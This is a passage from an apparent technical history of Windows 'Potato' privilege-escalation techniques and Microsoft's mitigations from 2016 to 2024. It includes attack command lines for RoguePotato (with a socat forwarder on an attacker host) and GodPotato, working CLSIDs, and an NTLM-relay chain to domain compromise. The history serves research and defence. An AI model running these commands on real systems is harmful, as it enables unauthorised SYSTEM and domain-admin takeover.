&lt;h2&gt;5. The DCOM-Activation Breakthrough, 2016-2018&lt;/h2&gt;
&lt;h3&gt;5.1 RottenPotato (DerbyCon 6, September 2016)&lt;/h3&gt;
&lt;p&gt;Eight months after HotPotato, Stephen Breen returned with a co-author and a new vehicle. The talk was on September 23, 2016 -- the Friday of DerbyCon 6 -- and the blog post followed three days later [@foxglove-rottenpotato]. The Foxglove post identifies the co-author by name: &quot;myself and my partner in crime, Chris Mallz (@vvalien1) spoke at DerbyCon about a project we&apos;ve been working on for the last few months&quot; [@foxglove-rottenpotato].&lt;/p&gt;
&lt;p&gt;Many secondary sources credit Andrea Pierini (Decoder) as the RottenPotato co-author. The Foxglove primary disproves this verbatim [@foxglove-rottenpotato]. Decoder enters the family lineage two years later, with JuicyPotato in 2018 [@ohpe-juicy]. Chris Mallz is the actual RottenPotato co-author.&lt;/p&gt;
&lt;p&gt;RottenPotato replaced HotPotato&apos;s NetBIOS-and-WPAD chain with Forshaw&apos;s DCOM-activation primitive. The hard-coded target was the Background Intelligent Transfer Service (BITS) Distributed COM server, class identifier &lt;code&gt;{4991d34b-80a1-4291-83b6-3328366b9097}&lt;/code&gt;, and the hard-coded listener port was &lt;code&gt;127.0.0.1:6666&lt;/code&gt; [@foxglove-rottenpotato; @foxglove-rotten-repo].&lt;/p&gt;

A Win32 OLE function that instantiates a Distributed COM object using a marshalled `IStorage` interface pointer as the activation source. By marshalling an `IStorage` whose object exporter identifier (OXID) resolves to an attacker-controlled TCP endpoint, the activator can redirect the resulting authentication callback to a listener it owns. Forshaw filed this as Project Zero Issue 325 in 2015 [@forshaw-pz-2021]; RottenPotato weaponised it.

sequenceDiagram
    participant Atk as RottenPotato (service account)
    participant Pipe as Local listener on 127.0.0.1:6666
    participant DCOM as DCOM activation (RPCSS)
    participant BITS as BITS COM server (SYSTEM)
    participant RPC as Local RPC on port 135
    Atk-&amp;gt;&amp;gt;Pipe: Start TCP listener on 127.0.0.1:6666
    Atk-&amp;gt;&amp;gt;DCOM: CoGetInstanceFromIStorage with BITS CLSID and marshalled IStorage
    DCOM-&amp;gt;&amp;gt;BITS: Spawn BITS under SYSTEM context
    BITS-&amp;gt;&amp;gt;Pipe: Callback to the marshalled endpoint
    Pipe-&amp;gt;&amp;gt;RPC: Forward COM packets to local RPC on port 135
    RPC--&amp;gt;&amp;gt;Pipe: Reply containing SYSTEM-context NTLM exchange
    Pipe--&amp;gt;&amp;gt;Atk: SYSTEM authentication captured
    Atk-&amp;gt;&amp;gt;Atk: ImpersonateNamedPipeClient and CreateProcessWithToken
&lt;p&gt;The technique was 100% reliable on Windows 7 through Windows 10 1803 and Server 2008 R2 through Server 2016 [@foxglove-rottenpotato]. There was no broadcast spoofing on the wire, no race condition, and no dependence on Windows Update polling. The price was rigidity: the hard-coded BITS class identifier and port 6666 made the tool brittle to BITS being disabled, and the original release depended on the Metasploit framework.&lt;/p&gt;
&lt;h3&gt;5.2 RottenPotatoNG and lonelypotato&lt;/h3&gt;
&lt;p&gt;In December 2017, the user &lt;code&gt;breenmachine&lt;/code&gt; published RottenPotatoNG, a C++ port that removed the Metasploit dependency: &quot;New version of RottenPotato as a C++ DLL and standalone C++ binary - no need for meterpreter or other tools&quot; [@breenmachine-rottenng]. The codebase that JuicyPotato would later generalise was now in place.&lt;/p&gt;

Many surveys date the `decoder-it/lonelypotato` variant to &quot;early 2018&quot; and place it as the link between RottenPotatoNG and JuicyPotato. The GitHub REST API reports `created_at: 2020-02-08T16:30:00Z` for the repository [@decoder-lonely], a full two years later. Decoder&apos;s first appearance in the Potato lineage is actually the December 6, 2019 post &quot;We thought they were Potatoes but they were Beans&quot; [@decoder-beans], with `lonelypotato` arriving in February 2020 as a post-OXID-hardening cleanup variant adjacent to RoguePotato [@decoder-lonely]. The 2017-2018 attribution is a citation error that has propagated across several survey papers.
&lt;h3&gt;5.3 JuicyPotato (Pierini + Trotta, July-August 2018)&lt;/h3&gt;
&lt;p&gt;What if any class identifier, not just the BITS one, could be the activation target? On July 27, 2018, Andrea Pierini and Giuseppe Trotta published the answer. The repository &lt;code&gt;ohpe/juicy-potato&lt;/code&gt; was created that day per the GitHub REST API; the blog post followed on August 10, 2018 [@ohpe-juicy]. The repository description reads: &quot;Juicy Potato (abusing the golden privileges) -- A sugared version of RottenPotatoNG, with a bit of juice&quot; [@ohpe-juicy].&lt;/p&gt;
&lt;p&gt;The original JuicyPotato blog post at &lt;code&gt;decoder.cloud/2018/08/10/juicy-potato-abusing-the-golden-privileges/&lt;/code&gt; returns HTTP 404 in 2026, and no Wayback Machine snapshot exists for that exact URL. The &lt;code&gt;ohpe/juicy-potato&lt;/code&gt; README is the live verbatim mirror of the title and the technique walkthrough [@ohpe-juicy]. Pierini&apos;s blog has reorganised several times; older posts that survive elsewhere on &lt;code&gt;decoder.cloud&lt;/code&gt; include the October 2018 &quot;No more Rotten/Juicy Potato&quot; [@decoder-no-more-rotten] and the December 2019 &quot;We thought they were Potatoes&quot; [@decoder-beans].&lt;/p&gt;
&lt;p&gt;JuicyPotato turned RottenPotato into a search engine. The README ships a per-Windows-version class identifier matrix: each row a Windows release, each column a CLSID that activates under SYSTEM context and implements the &lt;code&gt;IMarshal&lt;/code&gt; interface [@ohpe-juicy]. The tool accepts a tunable listener port (replacing the hard-coded 6666), a tunable process-creation mode (&lt;code&gt;CreateProcessWithToken&lt;/code&gt; for &lt;code&gt;SeImpersonate&lt;/code&gt; holders, &lt;code&gt;CreateProcessAsUser&lt;/code&gt; for &lt;code&gt;SeAssignPrimaryToken&lt;/code&gt; holders, or both), and a TEST mode for class-identifier discovery [@ohpe-juicy].&lt;/p&gt;

Microsoft does not freeze the set of registered Distributed COM class identifiers across Windows builds. Default COM-server registrations change between releases as components are added, removed, or refactored. A class identifier that activates under SYSTEM on Windows 10 1709 may not exist on Server 2019. JuicyPotato&apos;s CLSID matrix is therefore not a static lookup table -- it is the precomputed result of an empirical per-build search [@ohpe-juicy]. Every red-team handbook published between 2018 and 2020 references this matrix; subsequent variants (RoguePotato, JuicyPotatoNG) inherit and update it.

flowchart TD
    A[Enumerate registered DCOM CLSIDs on target build] --&amp;gt; B{&quot;For each CLSID&quot;}
    B --&amp;gt; C[Attempt CoGetInstanceFromIStorage with marshalled IStorage]
    C --&amp;gt; D{&quot;Activation reaches attacker listener?&quot;}
    D --&amp;gt;|No| B
    D --&amp;gt;|Yes| E{&quot;Callback authenticates as SYSTEM?&quot;}
    E --&amp;gt;|No| B
    E --&amp;gt;|Yes| F[Log CLSID into per-OS matrix]
    F --&amp;gt; B
    B --&amp;gt; G[Output: working CLSID for this Windows build]
&lt;p&gt;The Potato class was now universal. From mid-2018 through 2019 it was the default tool in every red-team handbook, every Metasploit-adjacent post-exploitation cheat-sheet, and every penetration-testing certification&apos;s lab. Microsoft had noticed.&lt;/p&gt;
&lt;h2&gt;6. The Mitigation Arms Race, 2020-2024&lt;/h2&gt;
&lt;p&gt;Every subsection below is the same shape: Microsoft ships a mitigation, researchers find a counter-move, MSRC produces an artifact (a CVE, a &quot;Won&apos;t Fix&quot; decision, or silence), and the architectural reading gets one more empirical confirmation.&lt;/p&gt;
&lt;h3&gt;6.1 The first Distributed COM mitigation, 2019-2020&lt;/h3&gt;
&lt;p&gt;In late 2018, Windows 10 1809 and Server 2019 began shipping a change to RPCSS. JuicyPotato stopped working. Researchers who reverse-engineered the change discovered that the OXID resolver address on the local Distributed COM activation path was now hard-coded to &lt;code&gt;127.0.0.1:135&lt;/code&gt;. The marshalled &lt;code&gt;IStorage&lt;/code&gt; callback could no longer be redirected to an arbitrary loopback port. Forshaw described it bluntly three years later:&lt;/p&gt;

Being able to redirect the OXID resolver RPC connection locally to a different TCP port was not by design and Microsoft eventually fixed this in Windows 10 1809/Server 2019. -- James Forshaw, October 2021 [@forshaw-pz-2021]
&lt;p&gt;No CVE was assigned. The change shipped silently as part of the regular Patch Tuesday cycle [@forshaw-pz-2021]. Pierini and Cocomazzi tested it on their own workloads and confirmed the failure mode publicly in October 2018: &quot;Recently I downloaded the new Windows server 2019 and upgraded my Win10 box to 1809 ... the juicy/rotten exploit ... did not work on both OS&quot; [@decoder-no-more-rotten].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The 2019-2020 OXID-resolver change is the first Microsoft response to the Potato family. It does not declare Distributed COM activation a security boundary. It narrows the resolver port to 135 and leaves the underlying primitive (coerce SYSTEM context via OXID resolver, then impersonate the resulting token) intact. The mitigation defines exactly one specific bypass; researchers had to discover that themselves [@forshaw-pz-2021; @decoder-no-more-rotten].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.2 RoguePotato (Cocomazzi + Pierini, May 2020)&lt;/h3&gt;
&lt;p&gt;On May 10, 2020, Antonio Cocomazzi published the RoguePotato repository on GitHub [@antonio-rogue]. The disclosure post appeared the next day, May 11. The README banner is &quot;RoguePotato @splinter_code &amp;amp; @decoder_it&quot; -- the same Pierini-and-Cocomazzi team that goes on to author RemotePotato0, JuicyPotatoNG, LocalPotato, and SilverPotato [@antonio-rogue].&lt;/p&gt;
&lt;p&gt;The counter-move accepts the hard-coded port-135 constraint and works around it. RoguePotato is two pieces. On an attacker-controlled remote host, run a port forwarder that listens on TCP 135 and redirects to a chosen attacker port. On the target, run &lt;code&gt;RoguePotato.exe&lt;/code&gt; pointing the OXID resolver at the remote forwarder. RPCSS dutifully sends the resolution request to the remote host on port 135 (since Microsoft hard-coded the &lt;em&gt;port&lt;/em&gt;, not the &lt;em&gt;host&lt;/em&gt;); the forwarder bounces the traffic back to the target on the attacker-chosen port; RoguePotato impersonates the OXID resolver and steers the activation back to a SYSTEM-context COM server [@antonio-rogue]. Standard NTLM relay and named-pipe impersonation finish the job.&lt;/p&gt;

flowchart LR
    A[RoguePotato.exe on target] --&amp;gt; B[RPCSS sends OXID resolution to remote-host port 135]
    B --&amp;gt; C[Remote port forwarder on attacker VPS]
    C --&amp;gt; D[Forward to target on attacker-chosen port]
    D --&amp;gt; E[Fake OXID resolver inside RoguePotato]
    E --&amp;gt; F[Steer activation to SYSTEM-context COM server]
    F --&amp;gt; G[Named-pipe impersonation, CreateProcessWithToken, SYSTEM shell]
&lt;p&gt;{&lt;code&gt;// Step 1 -- on an attacker-controlled remote host (any internet-reachable VPS): const forwarder = &quot;socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999&quot;; // Step 2 -- on the target with SeImpersonatePrivilege: const exploit = &apos;RoguePotato.exe -r 10.0.0.3 -e &quot;C:\\\\windows\\\\system32\\\\cmd.exe&quot; -l 9999&apos;; console.log(&quot;Remote forwarder:&quot;, forwarder); console.log(&quot;Target exploit  :&quot;, exploit); console.log(&quot;Expected output : nt authority\\\\system&quot;);&lt;/code&gt;}&lt;/p&gt;
&lt;p&gt;RoguePotato proved that the mitigation Microsoft chose did not break the underlying primitive. It only forced the attack to phone home. Two failure modes followed: in egress-filtered networks where outbound TCP 135 is blocked, the technique cannot run, and the remote forwarder is operationally noisy. Researchers needed a workaround that lived entirely on the target.&lt;/p&gt;
&lt;h3&gt;6.3 PrintSpoofer (Clément Labro, early May 2020)&lt;/h3&gt;
&lt;p&gt;Around the same time as RoguePotato, in early May 2020 (GitHub repository &lt;code&gt;itm4n/PrintSpoofer&lt;/code&gt; created April 28, 2020; blog post first archived in the Wayback Machine on May 3, 2020), Clément Labro -- writing as &lt;code&gt;itm4n&lt;/code&gt; -- published &quot;PrintSpoofer -- Abusing Impersonation Privileges on Windows 10 and Server 2019&quot; [@itm4n-printspoofer]. The mechanism uses no Distributed COM at all.&lt;/p&gt;
&lt;p&gt;The Print Spooler service exposes an RPC call, &lt;code&gt;RpcRemoteFindFirstPrinterChangeNotificationEx&lt;/code&gt;, that accepts a UNC path; the Spooler -- running as SYSTEM -- connects to that path to deliver printer-change notifications. Point the path at an attacker-owned named pipe; the Spooler connects; call &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;; done [@itm4n-printspoofer]. Labro articulated the family&apos;s thesis statement in the post, attributing it to Decoder:&lt;/p&gt;

If you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM. -- attributed to Andrea Pierini (@decoder_it), quoted by Clément Labro in the PrintSpoofer writeup, May 2020 [@itm4n-printspoofer]

sequenceDiagram
    participant Atk as PrintSpoofer (SeImpersonate holder)
    participant Pipe as Attacker-owned named pipe
    participant Spooler as Print Spooler (SYSTEM)
    Atk-&amp;gt;&amp;gt;Pipe: Create named pipe and start accept loop
    Atk-&amp;gt;&amp;gt;Spooler: RpcRemoteFindFirstPrinterChangeNotificationEx with attacker UNC
    Spooler-&amp;gt;&amp;gt;Pipe: Connect to UNC path under SYSTEM context
    Pipe-&amp;gt;&amp;gt;Atk: ImpersonateNamedPipeClient on server thread
    Atk-&amp;gt;&amp;gt;Atk: CreateProcessWithToken spawns SYSTEM shell
&lt;p&gt;This is the moment the architectural reading clicks. The family is &lt;em&gt;not&lt;/em&gt; about Distributed COM activation. Closing DCOM would not close the family. The next variant would use Spooler RPC, the one after that would use the Encrypting File System RPC, and the one after that would use Microsoft Distributed Transaction Coordinator RPC. Forshaw&apos;s contemporaneous April 2020 tiraniddo.dev post on shared logon sessions makes the same architectural point from a different angle [@forshaw-tiraniddo-2020].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The Potato family is about the primitive, not the vehicle. &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; plus &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; plus any SYSTEM-context Windows service with a callback-style API equals SYSTEM. Closing one vehicle (Distributed COM activation) leaves every other vehicle (Spooler RPC, EFS RPC, the next service that gets a callback interface) wide open [@itm4n-printspoofer; @forshaw-tiraniddo-2020].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.4 RemotePotato0 and the &quot;Won&apos;t Fix&quot;&lt;/h3&gt;
&lt;p&gt;In April 2021, Cocomazzi and Pierini pushed the technique across the network in a SentinelLabs post titled &quot;Relaying Potatoes: DCE/RPC NTLM Relay EoP&quot; [@sentinellabs-relaying]. The repository tagline names the outcome bluntly: &quot;Just another &apos;Won&apos;t Fix&apos; Windows Privilege Escalation from User to Domain Admin&quot; [@antonio-remote].&lt;/p&gt;
&lt;p&gt;The mechanism is cross-session NTLM relay over Distributed COM and RPC. An unprivileged local user triggers the Distributed COM activation service to make another user logged on the same machine (typically an administrator in an interactive RDP session) authenticate via NTLM. The captured NTLM exchange is then cross-protocol relayed (RPC to LDAP, with a port forwarder bridging the gap) to a domain controller with LDAP signing disabled. The attacker writes their own account into a privileged group or registers resource-based constrained delegation, and the engagement is over [@sentinellabs-relaying].&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s response is the most quoted sentence in the family&apos;s history:&lt;/p&gt;

The current status of this vulnerability is &apos;won&apos;t fix&apos; ... Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as &apos;Won&apos;t Fix&apos;. -- SentinelLabs disclosure of RemotePotato0, April 2021 [@sentinellabs-relaying]
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; RemotePotato0 was a fully working exploit chain that promoted any local low-privilege user to Domain Admin. Microsoft was given the disclosure, replicated the technique, and declined to issue a CVE. This is the moment the architectural reading stops being a researcher narrative and becomes a documented MSRC decision [@sentinellabs-relaying]. Microsoft eventually shipped a partial mitigation in October 2022 that broke the RPC-to-LDAP scenario specifically, but the underlying primitive survives in adjacent variants [@antonio-remote].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.5 The CVE-2021-26414 Distributed COM hardening rollout&lt;/h3&gt;
&lt;p&gt;Two months after the RemotePotato0 disclosure, Microsoft began the only DCOM-side hardening it would ship under a CVE. KB5004442 documents a three-phase rollout, quoted verbatim from the article: &quot;The first phase of DCOM updates was released on June 8, 2021. In that update, DCOM hardening was disabled by default. ... The second phase of DCOM updates was released on June 14, 2022. ... The final phase of DCOM updates will be released in March 2023. It will keep the DCOM hardening enabled and remove the ability to disable it&quot; [@ms-kb5004442].&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Behaviour&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Phase 1&lt;/td&gt;
&lt;td&gt;June 8, 2021&lt;/td&gt;
&lt;td&gt;DCOM hardening shipped, &lt;em&gt;disabled by default&lt;/em&gt;. Administrators may opt in via registry.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Phase 2&lt;/td&gt;
&lt;td&gt;June 14, 2022&lt;/td&gt;
&lt;td&gt;Hardening &lt;em&gt;enabled by default&lt;/em&gt;. Registry opt-out still available.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Phase 3&lt;/td&gt;
&lt;td&gt;March 14, 2023&lt;/td&gt;
&lt;td&gt;Hardening &lt;em&gt;enforced with no opt-out&lt;/em&gt;. The &lt;code&gt;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&lt;/code&gt; minimum is mandatory.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The RPC authentication-level constant that requires every packet of an RPC exchange to be signed for integrity (level 5 of 6). CVE-2021-26414 raises the *minimum* DCOM activation authentication level to this constant, rejecting legacy Distributed COM clients that activate at lower levels. The full rejection appears in Windows Event ID 10036 as &quot;The server-side authentication level policy does not allow the user %1\\%2 SID (%3) from address %4 to activate DCOM server. Please raise the activation authentication level at least to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY in client application&quot; [@ms-kb5004442].
&lt;p&gt;The hardening raised the bar for legacy Distributed COM client authentication. It did not declare Distributed COM activation a security boundary [@ms-kb5004442; @ms-techcommunity-dcom]. The &quot;Manage changes&quot; framing in the KB title is deliberate: this is a compatibility migration with telemetry events (10036 server-side, 10037 and 10038 client-side) so enterprises can find legacy clients before the final cut [@ms-kb5004442].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Distributed COM is everywhere in Windows. Removing the ability to activate at a lower authentication level breaks legacy Distributed COM applications that have not been updated since at least 2014. Microsoft&apos;s 21-month rollout window between Phase 1 (June 2021) and Phase 3 (March 2023) was a compatibility migration -- the telemetry events let enterprise IT find and fix the legacy clients before the final cut [@ms-kb5004442; @ms-techcommunity-dcom]. The hardening is the most aggressive Distributed COM mitigation Microsoft has ever shipped, and even so it does not declare Distributed COM activation a security boundary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Researchers had 21 months to find a way around it. They took 18.&lt;/p&gt;
&lt;h3&gt;6.6 JuicyPotatoNG (Pierini + Cocomazzi, September 21, 2022)&lt;/h3&gt;
&lt;p&gt;Pierini and Cocomazzi returned on September 21, 2022, with JuicyPotatoNG -- the last pre-Phase-3 Distributed COM activation variant [@decoder-juicyng]. The blog post is titled &quot;Giving JuicyPotato a second chance: JuicyPotatoNG&quot; and walks through three counter-moves combined into a single binary [@decoder-juicyng; @antonio-juicyng].&lt;/p&gt;
&lt;p&gt;First, the tool embeds Forshaw&apos;s October 2021 local-OXID trick. Forshaw had shown that an OXID resolution request could be answered by a local Distributed COM server on a randomly selected port, dropping the need for an external forwarder [@forshaw-pz-2021]. JuicyPotatoNG ships that trick as a default. Second, it falls back to a tight set of usable class identifiers; the default is &lt;code&gt;{854A20FB-2D44-457D-992F-EF13785D2B51}&lt;/code&gt;, the PrintNotify class [@antonio-juicyng]. Third, it calls &lt;code&gt;LogonUser&lt;/code&gt; with &lt;code&gt;LOGON32_LOGON_NEW_CREDENTIALS&lt;/code&gt; to sidestep the INTERACTIVE-group restriction that constrained earlier post-RoguePotato attempts [@decoder-juicyng].&lt;/p&gt;
&lt;p&gt;The cross-pollination is worth marking. Forshaw&apos;s October 2021 Project Zero post on relaying Distributed COM authentication described the local-OXID trick as a research result [@forshaw-pz-2021]. Pierini and Cocomazzi picked it up eleven months later and shipped it as the default mode of JuicyPotatoNG [@decoder-juicyng]. SilverPotato (April 2024) and the Compass Security follow-on (September 2024) cite the same trick [@compass-three-headed]. Forshaw&apos;s blog has been the unofficial reference implementation for the lineage&apos;s offensive primitives for half its lifetime.&lt;/p&gt;
&lt;p&gt;JuicyPotatoNG also implements a Security Support Provider Interface (SSPI) hook on &lt;code&gt;AcceptSecurityContext&lt;/code&gt; to capture the SYSTEM token without requiring &lt;code&gt;RpcImpersonateClient&lt;/code&gt;. The effect is to make the tool work for both &lt;code&gt;SeImpersonate&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;SeAssignPrimaryToken&lt;/code&gt; holders [@decoder-juicyng]. The result is a clean, single-binary, no-external-infrastructure local-DCOM-activation exploit -- which is the version that worked between Phase 2 (June 14, 2022, enabled by default) and Phase 3 (March 14, 2023, enforced with no opt-out) of the CVE-2021-26414 rollout [@ms-kb5004442].&lt;/p&gt;
&lt;p&gt;The next variant would need to survive Phase 3.&lt;/p&gt;
&lt;h3&gt;6.7 GodPotato (BeichenDream, December 23, 2022)&lt;/h3&gt;
&lt;p&gt;Three months after JuicyPotatoNG, on December 23, 2022, the Chinese-speaking researcher BeichenDream published GodPotato to GitHub [@beichendream-god]. The README is bilingual English and Chinese, and it opens with a precise summary of where the variant fits in the lineage:&lt;/p&gt;

Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022 ... There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system, so it can run on almost any Windows OS, I named it GodPotato. -- BeichenDream, GodPotato README, December 2022 [@beichendream-god]
&lt;p&gt;The mechanism manipulates the OXID-handling flow &lt;em&gt;inside&lt;/em&gt; RPCSS so the activated Distributed COM server&apos;s authentication callback returns to a tool-controlled endpoint &lt;em&gt;without&lt;/em&gt; requiring the OXID resolver to be redirected. Because the redirect itself is what the CVE-2021-26414 hardening rejects, GodPotato sidesteps the hardening entirely [@beichendream-god]. RPCSS is a mandatory Windows service -- it cannot be disabled without breaking the operating system -- so the technique works on every supported Windows release as of disclosure.&lt;/p&gt;
&lt;p&gt;{&lt;code&gt;// On a target host where the calling account holds SeImpersonatePrivilege // (default for every IIS app-pool identity, MSSQL service account, BITS account, etc.) const command = &apos;GodPotato -cmd &quot;cmd /c whoami&quot;&apos;; console.log(&quot;Run:&quot;, command); console.log(&quot;Expected output: nt authority\\\\system&quot;); console.log(&quot;Working OS coverage: Windows 8 through Windows 11; Server 2012 through Server 2025&quot;); console.log(&quot;Underlying primitive: RPCSS OXID-handling defect, no external infra, single binary&quot;);&lt;/code&gt;}&lt;/p&gt;
&lt;p&gt;Microsoft has not assigned a CVE to the underlying RPCSS defect [@beichendream-god; @compass-three-headed].Apache 2.0 licensing matters here: red-team operators routinely recompile GodPotato from source to bypass binary-hash signatures, and the permissive license makes redistribution unproblematic [@beichendream-god]. The pattern is consistent with the servicing-criteria reading. GodPotato is in May 2026 the practitioner default on every in-support Windows release: single binary, no external infrastructure, no separate OXID resolver, Apache-2.0-licensed and freely re-buildable when EDR vendors signature the public binary [@beichendream-god].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; GodPotato survives every Microsoft mitigation because Microsoft has not declared the underlying primitive a security boundary. Three named hardening waves (the 2019-2020 OXID-resolver change, the three-phase CVE-2021-26414 rollout from June 2021 to March 2023, and the per-variant CVE patches in 2023 and 2024) leave GodPotato working on Server 2025 and Windows 11 24H2 as of this writing [@beichendream-god; @ms-kb5004442; @compass-three-headed].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.8 LocalPotato and CVE-2023-21746&lt;/h3&gt;
&lt;p&gt;Three weeks after GodPotato landed, Microsoft assigned the first-ever CVE in the local Potato lineage. The variant was LocalPotato, the CVE was CVE-2023-21746, and the patch shipped in the January 2023 Patch Tuesday [@nvd-cve-2023-21746; @msrc-cve-2023-21746]. The Decoder writeup, published February 13, 2023, walks through the timeline:&lt;/p&gt;

&quot;We reported our findings to the Microsoft Security Response Center (MSRC) on September 9, 2022, and it was resolved with the release of the January 2023 patch Tuesday and assigned the CVE number CVE-2023-21746.&quot; -- Andrea Pierini, &quot;LocalPotato&quot; writeup, February 2023 [@decoder-localpotato]
&lt;p&gt;LocalPotato is not a Distributed COM activation Potato. It attacks the local NTLM authentication protocol itself. During a local NTLM exchange, the Type 2 (Challenge) message carries a &quot;Reserved&quot; field that, in the local-NTLM case, encodes the upper bytes of the local server context handle the client should associate with. By racing two simultaneous local NTLM authentications -- one privileged client to attacker server, one attacker client to a real local server -- and swapping the Reserved fields in the two Type 2 messages, LSASS binds the privileged identity to the attacker&apos;s low-privilege context [@decoder-localpotato; @localpotato-com]. The result is an arbitrary file-read and file-write primitive that chains cleanly to SYSTEM.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Pierini and Cocomazzi had been pushing on the architectural carve-out for seven years before they got a CVE. The boundary that made the difference: LocalPotato attacks the local user-to-local-user NTLM authentication context, which &lt;em&gt;is&lt;/em&gt; on the servicing-criteria boundary list. The underlying &lt;code&gt;SeImpersonate&lt;/code&gt;-to-SYSTEM primitive is not. Microsoft will service the parts of the protocol that are inside the boundary; it will not service the parts that are outside [@decoder-localpotato; @msrc-servicing-criteria].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The LocalPotato writeup credits Elad Shamir for the original hint that started the research [@decoder-localpotato]. The dedicated companion site &lt;code&gt;localpotato.com&lt;/code&gt; carries the canonical title &quot;LocalPotato -- When swapping the context leads you to SYSTEM&quot; and links the CVE [@localpotato-com].&lt;/p&gt;
&lt;h3&gt;6.9 SilverPotato (Pierini + Cocomazzi, April 24, 2024)&lt;/h3&gt;
&lt;p&gt;A year later, on April 24, 2024, Pierini and Cocomazzi extended the cross-session Distributed COM activation primitive that RemotePotato0 had pioneered into a fully practical &lt;em&gt;domain&lt;/em&gt; attack. The blog post title is &quot;Hello, I&apos;m your domain admin and I want to authenticate against you&quot; [@decoder-silverpotato]. The Troopers 24 abstract refers to the technique by its other name, ADCSCoercePotato [@troopers24; @decoder-adcs-coerce-repo]; both names refer to the same primitive.&lt;/p&gt;
&lt;p&gt;The mechanism: members of the &lt;strong&gt;Distributed COM Users&lt;/strong&gt; or &lt;strong&gt;Performance Log Users&lt;/strong&gt; built-in groups can remotely trigger an NTLM authentication from any user currently logged on the target server -- including a Domain Administrator on a Domain Controller -- and relay it. The specific vehicle is the &lt;code&gt;sppui&lt;/code&gt; Distributed COM application (class identifier &lt;code&gt;F87B28F1-DA9A-4F35-8EC0-800EFCF26B83&lt;/code&gt;, &quot;SPPUIObjectInteractive Class&quot;, hosted in &lt;code&gt;slui.exe&lt;/code&gt;), which runs under the Interactive User identity [@decoder-silverpotato]. Pierini&apos;s wording in the post is unsparing:&lt;/p&gt;

&quot;Members of Distributed COM Users or Performance Log Users Groups can trigger from remote and relay the authentication of users connected on the target server, including Domain Controllers.&quot; -- Andrea Pierini, &quot;SilverPotato&quot; writeup, April 2024 [@decoder-silverpotato]
&lt;p&gt;The captured authentication is relayed via &lt;code&gt;ntlmrelayx&lt;/code&gt; to &lt;a href=&quot;https://paragmali.com/blog/certified-pre-owned-ad-cs-and-active-directorys-second-trust/&quot; rel=&quot;noopener&quot;&gt;AD CS Web Enrollment&lt;/a&gt; or LDAP, then chained with &lt;code&gt;ForgeCert&lt;/code&gt; and &lt;code&gt;Rubeus&lt;/code&gt; into a full Domain Admin Kerberos TGT [@decoder-silverpotato]. The Compass Security follow-on from September 2024 extends the chain further by modifying the KrbRelay project to make it remote and cross-session capable: &quot;I modified the KrbRelay project to make it remote and cross-session capable, because Andrea did not release his PoC code ... DCOM hardening only allows relay to HTTP or unprotected LDAP&quot; [@compass-three-headed]. Tianze Ding&apos;s Black Hat Asia 2024 talk on &quot;CertifiedDCOM&quot; landed in the same window [@blackhat-asia-2024]. Pierini&apos;s February 2024 post on the ADCS server side of the same surface foreshadowed the chain a few weeks earlier [@decoder-adcs-server].&lt;/p&gt;

flowchart LR
    A[Member of Distributed COM Users on target DC] --&amp;gt; B[Cross-session DCOM activation against sppui CLSID]
    B --&amp;gt; C[Logged-on Domain Admin session authenticates via NTLM]
    C --&amp;gt; D[ntlmrelayx forwards NTLM to AD CS Web Enrollment]
    D --&amp;gt; E[Computer-template certificate issued]
    E --&amp;gt; F[ForgeCert and Rubeus mint Domain Admin Kerberos TGT]
    F --&amp;gt; G[Domain compromise]
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Troopers 24 abstract describes SilverPotato as &quot;still in review by MSRC&quot; as of June 2024 [@troopers24]. The Compass Security follow-on demonstrates a working end-to-end chain four months later [@compass-three-headed]. The default Distributed COM group memberships on Domain Controllers that grant the activation rights SilverPotato weaponises have not changed in any shipping Windows release as of May 2026. No CVE has been assigned [@decoder-silverpotato; @troopers24].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.10 FakePotato and CVE-2024-38100&lt;/h3&gt;
&lt;p&gt;Four months after SilverPotato, on August 2, 2024, Pierini published the most recent named variant. He called it FakePotato, and he was up front about the name:&lt;/p&gt;

